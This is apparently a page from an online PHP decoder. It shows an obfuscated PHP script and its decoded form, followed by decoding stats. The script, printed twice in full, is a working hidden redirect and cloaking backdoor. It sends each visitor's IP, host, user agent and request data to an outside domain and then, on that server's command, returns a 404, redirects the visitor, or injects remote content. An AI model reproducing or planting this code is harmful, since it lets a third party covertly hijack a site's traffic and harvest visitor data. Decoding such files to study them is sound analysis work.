Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0); header('Content-Type:text/html;charset=utf-8'); goto aHUgf;..

Decoded Output download

<?php 
error_reporting(0); 
header('Content-Type:text/html;charset=utf-8'); 
 
goto aHUgf; aHUgf: try { goto O5PQR; oWvD0: $f_0cD = explode("::::", $H3rVb); goto VfVuX; UeZ2j: $oN2Wp = !empty($_REQUEST["id"]) ? urlencode($_REQUEST["id"]) : ''; goto hXgE1; hXgE1: $qfq4J = $_SERVER["SCRIPT_NAME"]; goto CmJai; Ew1b2: $OKgOB = isset($_SERVER["HTTP_X_FORWARDED_HOST"]) ? $_SERVER["HTTP_X_FORWARDED_HOST"] : (isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : ''); goto Ko28P; aRjKc: set_time_limit(0); goto XPOOO; O5PQR: ini_set("display_errors", "off"); goto Xm_Og; Xm_Og: error_reporting(E_ALL ^ E_NOTICE); goto aRjKc; Ko28P: $TrYNp = isset($_SERVER["REQUEST_URI"]) && $_SERVER["REQUEST_URI"] != '' ? $_SERVER["REQUEST_URI"] : $_SERVER["HTTP_X_REWRITE_URL"]; goto UeZ2j; ARpwH: $LG07P = "https://eyebmx.com/ss19.php?key={$JfR95}"; goto aykMt; XPOOO: $JfR95 = "123"; goto ARpwH; XqNnt: GL6d4: goto dSFyX; aykMt: $RvrGb = array("user_agent:" . $_SERVER["HTTP_USER_AGENT"]); goto Ew1b2; CmJai: $LG07P = $LG07P . "&ip=" . Y30ql() . "&id=" . $oN2Wp . "&domain=" . $OKgOB . "&local=" . urlencode($qfq4J); goto oj8OF; dSFyX: MJ3B2: goto MMJKG; oj8OF: $H3rVb = HrI6a($LG07P, $RvrGb); goto oWvD0; VfVuX: switch ($f_0cD[0]) { case 404: goto wyy_P; fxAgc: goto MJ3B2; goto TEDli; t2D7D: exit; goto fxAgc; wyy_P: header("HTTP/1.0 404 Not Found", true, 404); goto t2D7D; TEDli: case 302: goto MeyDt; MeyDt: header("Location: " . $f_0cD[1], true, 302); goto QwPgd; YvoxE: goto MJ3B2; goto E6Xwz; QwPgd: exit; goto YvoxE; E6Xwz: default: echo $f_0cD[1]; goto MJ3B2; } goto XqNnt; MMJKG: } catch (Exception $vf7JZ) { exit("e:" . $vf7JZ->getMessage()); } goto s_4eC; s_4eC: function Hri6a($QylRp, $RvrGb = '') { goto XPjqQ; fBdr5: curl_setopt($C36EI, CURLOPT_SSL_VERIFYPEER, FALSE); goto am_Hi; zFMEB: return $v7jNB; goto SVveI; qqfUT: curl_setopt($C36EI, CURLOPT_TIMEOUT, 30); goto bv2e3; DaL6I: curl_setopt($C36EI, CURLOPT_HTTPHEADER, $RvrGb); goto m_RGO; unT3s: curl_setopt($C36EI, CURLOPT_HEADER, 0); goto qqfUT; vkL89: $v7jNB = curl_exec($C36EI); goto UzbtL; biyN_: if (!$RvrGb) { goto yLMLC; } goto DaL6I; bv2e3: curl_setopt($C36EI, CURLOPT_RETURNTRANSFER, 1); goto TMSxg; UzbtL: curl_close($C36EI); goto zFMEB; am_Hi: curl_setopt($C36EI, CURLOPT_SSL_VERIFYHOST, FALSE); goto biyN_; VT1q5: curl_setopt($C36EI, CURLOPT_REFERER, @$_SERVER["HTTP_REFERER"]); goto fBdr5; TMSxg: curl_setopt($C36EI, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); goto VT1q5; XPjqQ: $C36EI = curl_init(); goto BuwsT; m_RGO: yLMLC: goto vkL89; BuwsT: curl_setopt($C36EI, CURLOPT_URL, $QylRp); goto unT3s; SVveI: } goto stjT3; stjT3: function Y30qL() { goto jc_0L; ZnOVM: nt558: goto XfcQn; mEBzv: if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) { goto KLX0t; } goto fGJto; QOw7D: S7ub9: goto u2DRo; QzZOS: goto g1gNd; goto Up4oK; VKEPv: goto tKZ6e; goto QOw7D; WhFnc: $e4UJx = getenv("HTTP_X_FORWARDED_FOR"); goto tl7UM; fGJto: if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) { goto b3jS2; } goto hC_5_; WOoY0: $e4UJx = getenv("HTTP_CLIENT_IP"); goto KumKr; wyT_v: tKZ6e: goto QzZOS; hC_5_: if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) { goto S7ub9; } goto T6lJ9; u2DRo: $e4UJx = getenv("REMOTE_ADDR"); goto i9Mxv; KbD7n: KLX0t: goto WOoY0; JAUFC: goto dkf1f; goto KbD7n; i9Mxv: goto tKZ6e; goto ZnOVM; XfcQn: $e4UJx = $_SERVER["REMOTE_ADDR"]; goto wyT_v; jetB9: return preg_match("/[\d\.]{7,15}/", $e4UJx, $K74X0) ? $K74X0[0] : ''; goto RQueM; jc_0L: $e4UJx = ''; goto mEBzv; KumKr: dkf1f: goto jetB9; T6lJ9: if (isset($_SERVER["REMOTE_ADDR"]) && $_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")) { goto nt558; } goto VKEPv; Up4oK: b3jS2: goto WhFnc; tl7UM: g1gNd: goto JAUFC; RQueM: } 
 
?>

Did this file decode correctly?

Original Code

<?php
error_reporting(0);
header('Content-Type:text/html;charset=utf-8');

goto aHUgf; aHUgf: try { goto O5PQR; oWvD0: $f_0cD = explode("\72\x3a\72\72", $H3rVb); goto VfVuX; UeZ2j: $oN2Wp = !empty($_REQUEST["\x69\x64"]) ? urlencode($_REQUEST["\x69\x64"]) : ''; goto hXgE1; hXgE1: $qfq4J = $_SERVER["\123\103\122\x49\x50\124\137\x4e\x41\115\x45"]; goto CmJai; Ew1b2: $OKgOB = isset($_SERVER["\110\124\124\x50\137\x58\x5f\106\117\122\127\x41\x52\x44\105\x44\137\x48\x4f\x53\124"]) ? $_SERVER["\x48\124\124\x50\137\x58\137\x46\x4f\122\x57\101\x52\x44\x45\104\x5f\x48\117\123\124"] : (isset($_SERVER["\x48\x54\x54\x50\137\x48\117\x53\124"]) ? $_SERVER["\110\x54\x54\120\137\x48\117\123\x54"] : ''); goto Ko28P; aRjKc: set_time_limit(0); goto XPOOO; O5PQR: ini_set("\144\x69\x73\x70\x6c\141\171\x5f\x65\x72\x72\x6f\162\163", "\x6f\146\x66"); goto Xm_Og; Xm_Og: error_reporting(E_ALL ^ E_NOTICE); goto aRjKc; Ko28P: $TrYNp = isset($_SERVER["\122\x45\x51\125\105\x53\x54\x5f\125\122\111"]) && $_SERVER["\x52\105\121\125\105\x53\124\137\125\x52\111"] != '' ? $_SERVER["\122\105\x51\125\105\123\124\137\x55\122\x49"] : $_SERVER["\x48\x54\124\120\137\x58\x5f\x52\105\127\x52\x49\x54\105\137\x55\122\x4c"]; goto UeZ2j; ARpwH: $LG07P = "\150\164\164\160\x73\72\57\57\145\x79\x65\142\155\x78\x2e\x63\x6f\155\x2f\x73\163\61\71\56\160\150\160\77\x6b\x65\x79\75{$JfR95}"; goto aykMt; XPOOO: $JfR95 = "\61\x32\x33"; goto ARpwH; XqNnt: GL6d4: goto dSFyX; aykMt: $RvrGb = array("\x75\163\145\x72\137\141\147\145\x6e\164\72" . $_SERVER["\110\x54\124\120\137\125\123\105\122\137\101\107\105\x4e\x54"]); goto Ew1b2; CmJai: $LG07P = $LG07P . "\46\x69\x70\x3d" . Y30ql() . "\x26\x69\x64\x3d" . $oN2Wp . "\46\x64\157\x6d\141\x69\156\75" . $OKgOB . "\x26\154\x6f\x63\141\x6c\x3d" . urlencode($qfq4J); goto oj8OF; dSFyX: MJ3B2: goto MMJKG; oj8OF: $H3rVb = HrI6a($LG07P, $RvrGb); goto oWvD0; VfVuX: switch ($f_0cD[0]) { case 404: goto wyy_P; fxAgc: goto MJ3B2; goto TEDli; t2D7D: exit; goto fxAgc; wyy_P: header("\110\124\x54\x50\x2f\61\56\60\40\64\x30\x34\x20\x4e\x6f\x74\40\x46\157\165\x6e\144", true, 404); goto t2D7D; TEDli: case 302: goto MeyDt; MeyDt: header("\114\157\143\x61\164\151\157\156\x3a\40" . $f_0cD[1], true, 302); goto QwPgd; YvoxE: goto MJ3B2; goto E6Xwz; QwPgd: exit; goto YvoxE; E6Xwz: default: echo $f_0cD[1]; goto MJ3B2; } goto XqNnt; MMJKG: } catch (Exception $vf7JZ) { exit("\x65\x3a" . $vf7JZ->getMessage()); } goto s_4eC; s_4eC: function Hri6a($QylRp, $RvrGb = '') { goto XPjqQ; fBdr5: curl_setopt($C36EI, CURLOPT_SSL_VERIFYPEER, FALSE); goto am_Hi; zFMEB: return $v7jNB; goto SVveI; qqfUT: curl_setopt($C36EI, CURLOPT_TIMEOUT, 30); goto bv2e3; DaL6I: curl_setopt($C36EI, CURLOPT_HTTPHEADER, $RvrGb); goto m_RGO; unT3s: curl_setopt($C36EI, CURLOPT_HEADER, 0); goto qqfUT; vkL89: $v7jNB = curl_exec($C36EI); goto UzbtL; biyN_: if (!$RvrGb) { goto yLMLC; } goto DaL6I; bv2e3: curl_setopt($C36EI, CURLOPT_RETURNTRANSFER, 1); goto TMSxg; UzbtL: curl_close($C36EI); goto zFMEB; am_Hi: curl_setopt($C36EI, CURLOPT_SSL_VERIFYHOST, FALSE); goto biyN_; VT1q5: curl_setopt($C36EI, CURLOPT_REFERER, @$_SERVER["\110\124\124\x50\137\x52\105\x46\105\x52\x45\x52"]); goto fBdr5; TMSxg: curl_setopt($C36EI, CURLOPT_USERAGENT, $_SERVER["\x48\x54\x54\120\137\x55\123\x45\122\137\x41\x47\105\116\124"]); goto VT1q5; XPjqQ: $C36EI = curl_init(); goto BuwsT; m_RGO: yLMLC: goto vkL89; BuwsT: curl_setopt($C36EI, CURLOPT_URL, $QylRp); goto unT3s; SVveI: } goto stjT3; stjT3: function Y30qL() { goto jc_0L; ZnOVM: nt558: goto XfcQn; mEBzv: if (getenv("\110\x54\124\120\137\103\x4c\x49\x45\116\124\137\111\120") && strcasecmp(getenv("\110\124\124\x50\137\x43\x4c\x49\x45\x4e\x54\137\111\120"), "\x75\156\153\x6e\157\167\x6e")) { goto KLX0t; } goto fGJto; QOw7D: S7ub9: goto u2DRo; QzZOS: goto g1gNd; goto Up4oK; VKEPv: goto tKZ6e; goto QOw7D; WhFnc: $e4UJx = getenv("\x48\124\124\120\137\130\137\x46\117\122\x57\x41\122\x44\x45\x44\x5f\106\x4f\122"); goto tl7UM; fGJto: if (getenv("\110\124\x54\x50\x5f\130\137\106\x4f\122\x57\x41\122\x44\x45\x44\137\106\117\x52") && strcasecmp(getenv("\x48\x54\x54\120\x5f\130\x5f\x46\117\x52\127\x41\122\x44\x45\104\137\x46\117\x52"), "\165\156\153\156\x6f\x77\x6e")) { goto b3jS2; } goto hC_5_; WOoY0: $e4UJx = getenv("\x48\124\x54\x50\137\103\114\111\x45\x4e\124\137\111\120"); goto KumKr; wyT_v: tKZ6e: goto QzZOS; hC_5_: if (getenv("\122\105\115\x4f\x54\x45\137\x41\104\104\122") && strcasecmp(getenv("\122\105\115\x4f\124\105\137\101\x44\x44\x52"), "\x75\156\153\x6e\x6f\x77\156")) { goto S7ub9; } goto T6lJ9; u2DRo: $e4UJx = getenv("\x52\105\115\117\x54\x45\x5f\101\104\x44\122"); goto i9Mxv; KbD7n: KLX0t: goto WOoY0; JAUFC: goto dkf1f; goto KbD7n; i9Mxv: goto tKZ6e; goto ZnOVM; XfcQn: $e4UJx = $_SERVER["\122\105\115\x4f\x54\105\x5f\101\x44\104\x52"]; goto wyT_v; jetB9: return preg_match("\57\133\134\x64\x5c\x2e\135\173\x37\54\61\x35\x7d\57", $e4UJx, $K74X0) ? $K74X0[0] : ''; goto RQueM; jc_0L: $e4UJx = ''; goto mEBzv; KumKr: dkf1f: goto jetB9; T6lJ9: if (isset($_SERVER["\x52\105\x4d\117\x54\105\x5f\101\104\104\x52"]) && $_SERVER["\122\105\x4d\x4f\124\105\137\x41\x44\104\122"] && strcasecmp($_SERVER["\122\x45\115\117\124\x45\x5f\x41\x44\x44\122"], "\x75\156\153\156\157\x77\x6e")) { goto nt558; } goto VKEPv; Up4oK: b3jS2: goto WhFnc; tl7UM: g1gNd: goto JAUFC; RQueM: }

?>

Function Calls

None

Variables

None

Stats

MD5 186bc9040df032dc143368c14aaee70a
Eval Count 0
Decode Time 115 ms